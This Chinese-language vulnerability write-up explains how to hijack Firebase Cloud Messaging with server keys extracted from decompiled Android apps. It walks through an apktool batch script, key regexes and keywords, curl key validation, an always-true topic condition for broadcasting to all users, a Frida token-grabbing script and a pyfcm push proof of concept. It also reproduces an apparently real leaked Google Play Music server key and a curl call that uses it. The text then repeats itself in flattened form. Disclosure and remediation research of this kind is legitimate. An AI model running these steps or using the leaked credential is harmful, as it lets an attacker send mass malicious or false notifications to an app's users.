挖洞经验 | 劫持Firebase云消息传递服务实现恶意广播式用户消息推送
字数 1287 2025-08-15 21:31:56

Firebase云消息传递(FCM)服务劫持漏洞分析与利用

1. 漏洞概述

Firebase云消息传递(Firebase Cloud Messaging, FCM)是Google提供的一项跨平台消息推送服务。本漏洞涉及FCM服务密钥凭据在客户端应用程序中的泄露,攻击者可利用泄露的密钥劫持FCM服务,实现:

  1. 控制推送消息内容(可包含恶意图片、政治倾向或造谣内容)
  2. 获取FCM服务密钥凭据
  3. 向应用所有注册用户发送广播式推送消息

2. FCM基础知识

2.1 FCM架构

FCM服务包含三个主要组件:

  1. FCM后端服务器:负责消息授权和分发
  2. 客户端FCM SDK:生成设备唯一标识token
  3. 应用服务器:通过API密钥与FCM通信

2.2 密钥类型

  1. 服务器密钥

    • 旧版格式:AIzaSy[0-9A-Za-z_-]{33}
    • 新版格式:AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}
  2. GCP API密钥:格式同旧版服务器密钥

3. 漏洞发现过程

3.1 APK逆向分析

  1. 使用apktool批量反编译APK文件:
#!/bin/bash
for file in *.apk
do
  java -jar ~/APK_Research/apktool.jar d $file -o decompiled_apks/$file/
done
  1. 关键文件搜索:
    • strings.xml
    • .smali类文件
    • AndroidManifest.xml

3.2 密钥识别

重点关注以下关键字:

  • google_maps_geocoder_key
  • notification_server_key
  • google_notification_key
  • app_api_key
  • googlePlacesWebApi
  • server_key

3.3 密钥验证

使用curl验证密钥有效性:

api_key=YOUR_SERVER_KEY
curl --header "Authorization: key=$api_key" \
     --header Content-Type:"application/json" \
     https://fcm.googleapis.com/fcm/send \
     -d "{\"registration_ids\":[\"ABC\"]}"

响应码200表示密钥有效。

4. 漏洞利用技术

4.1 广播消息推送

利用逻辑非表达式构造永真条件,实现广播推送:

Condition: "!('xyz4356545' in topics)"

解释:随机主题'xyz4356545'不存在于任何用户的订阅中,因此条件永远为真。

4.2 获取IID Token

  1. 静态分析:查找getToken()getFcmIidToken()方法
  2. 动态分析:使用Frida hook相关方法

示例Frida脚本:

Java.perform(function () {
  console.log("Tracing getFcmIidToken under class com.google.android.music.sync.google.gcm.FcmRegistrationHandler");
  Java.choose("com.google.android.music.sync.google.gcm.FcmRegistrationHandler", {
    onMatch: function (inst) {
      console.log("Instance Found "+inst.toString());
      var ret_val = inst.getFcmIidToken();
      console.log("FCM IID token is "+ret_val)
    },
    onComplete: function() {
      console.log("Done");
    }
  });
});

4.3 消息推送POC

使用Python pyfcm库实现:

from pyfcm import FCMNotification
import argparse

# 参数处理
ap = argparse.ArgumentParser()
ap.add_argument("-sk", "--serverkey", required=True, help="FCM Server Key found")
ap.add_argument("-iid", "--iid", required=True, help="IID Token source from the Client App")
args = vars(ap.parse_args())

server_key = args["serverkey"]
iid = args["iid"]

# 授权
push_service = FCMNotification(api_key=server_key)

# 消息内容
registration_id = iid
message_title = "FCM Hack!"
message_body = "By Abhishek Dharani and Yash Sodha"

# 发送消息
result = push_service.notify_single_device(
    registration_id=registration_id, 
    message_title=message_title, 
    message_body=message_body,
    dry_run=False
)
print(result)

5. 实际案例分析

5.1 Google Play Music

  1. 发现服务器密钥:
AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL
  1. 获取元数据:
curl -X GET --header "Authorization: key=AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL" --header "Content-Type:application/json" https://iid.googleapis.com/iid/info/fgis_9yyD_c:APA91bEilQI1ncoYlYpF-AIUQvQdymi7iSaXDX2Tuv3rhpo3PDoawCHhzmdFjahXsltRuYxPb7vL2YReVOR4fCMcir76rFsKLfer4abpq8_KdRzGHf1exz0GJU4APTOadqvU5x9vv1os?details=true

5.2 其他受影响应用

  • Google Hangouts
  • YouTube Go
  • YouTube Music

6. 漏洞修复建议

  1. 密钥保护

    • 永远不要将FCM服务器密钥存储在客户端应用中
    • 定期轮换密钥
    • 使用Firebase Admin SDK而非原始API密钥
  2. 权限控制

    • 限制密钥的权限范围
    • 使用IP白名单限制API调用
  3. 代码审查

    • 检查应用是否包含敏感密钥
    • 自动化扫描APK中的密钥泄露
  4. 监控

    • 监控异常的推送消息活动
    • 设置推送消息速率限制

7. 总结

FCM密钥泄露漏洞危害严重,可导致:

  • 大规模恶意消息推送
  • 用户隐私泄露
  • 品牌声誉损害

开发人员应严格遵循安全最佳实践,避免在客户端存储敏感凭据。安全研究人员可通过逆向工程和自动化扫描技术发现此类漏洞。

Firebase云消息传递(FCM)服务劫持漏洞分析与利用 1. 漏洞概述 Firebase云消息传递(Firebase Cloud Messaging, FCM)是Google提供的一项跨平台消息推送服务。本漏洞涉及FCM服务密钥凭据在客户端应用程序中的泄露,攻击者可利用泄露的密钥劫持FCM服务,实现: 控制推送消息内容(可包含恶意图片、政治倾向或造谣内容) 获取FCM服务密钥凭据 向应用所有注册用户发送广播式推送消息 2. FCM基础知识 2.1 FCM架构 FCM服务包含三个主要组件: FCM后端服务器 :负责消息授权和分发 客户端FCM SDK :生成设备唯一标识token 应用服务器 :通过API密钥与FCM通信 2.2 密钥类型 服务器密钥 : 旧版格式: AIzaSy[0-9A-Za-z_-]{33} 新版格式: AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140} GCP API密钥 :格式同旧版服务器密钥 3. 漏洞发现过程 3.1 APK逆向分析 使用apktool批量反编译APK文件: 关键文件搜索: strings.xml .smali 类文件 AndroidManifest.xml 3.2 密钥识别 重点关注以下关键字: google_maps_geocoder_key notification_server_key google_notification_key app_api_key googlePlacesWebApi server_key 3.3 密钥验证 使用curl验证密钥有效性: 响应码200表示密钥有效。 4. 漏洞利用技术 4.1 广播消息推送 利用逻辑非表达式构造永真条件,实现广播推送: 解释:随机主题'xyz4356545'不存在于任何用户的订阅中,因此条件永远为真。 4.2 获取IID Token 静态分析 :查找 getToken() 或 getFcmIidToken() 方法 动态分析 :使用Frida hook相关方法 示例Frida脚本: 4.3 消息推送POC 使用Python pyfcm库实现: 5. 实际案例分析 5.1 Google Play Music 发现服务器密钥: 获取元数据: 5.2 其他受影响应用 Google Hangouts YouTube Go YouTube Music 6. 漏洞修复建议 密钥保护 : 永远不要将FCM服务器密钥存储在客户端应用中 定期轮换密钥 使用Firebase Admin SDK而非原始API密钥 权限控制 : 限制密钥的权限范围 使用IP白名单限制API调用 代码审查 : 检查应用是否包含敏感密钥 自动化扫描APK中的密钥泄露 监控 : 监控异常的推送消息活动 设置推送消息速率限制 7. 总结 FCM密钥泄露漏洞危害严重,可导致: 大规模恶意消息推送 用户隐私泄露 品牌声誉损害 开发人员应严格遵循安全最佳实践,避免在客户端存储敏感凭据。安全研究人员可通过逆向工程和自动化扫描技术发现此类漏洞。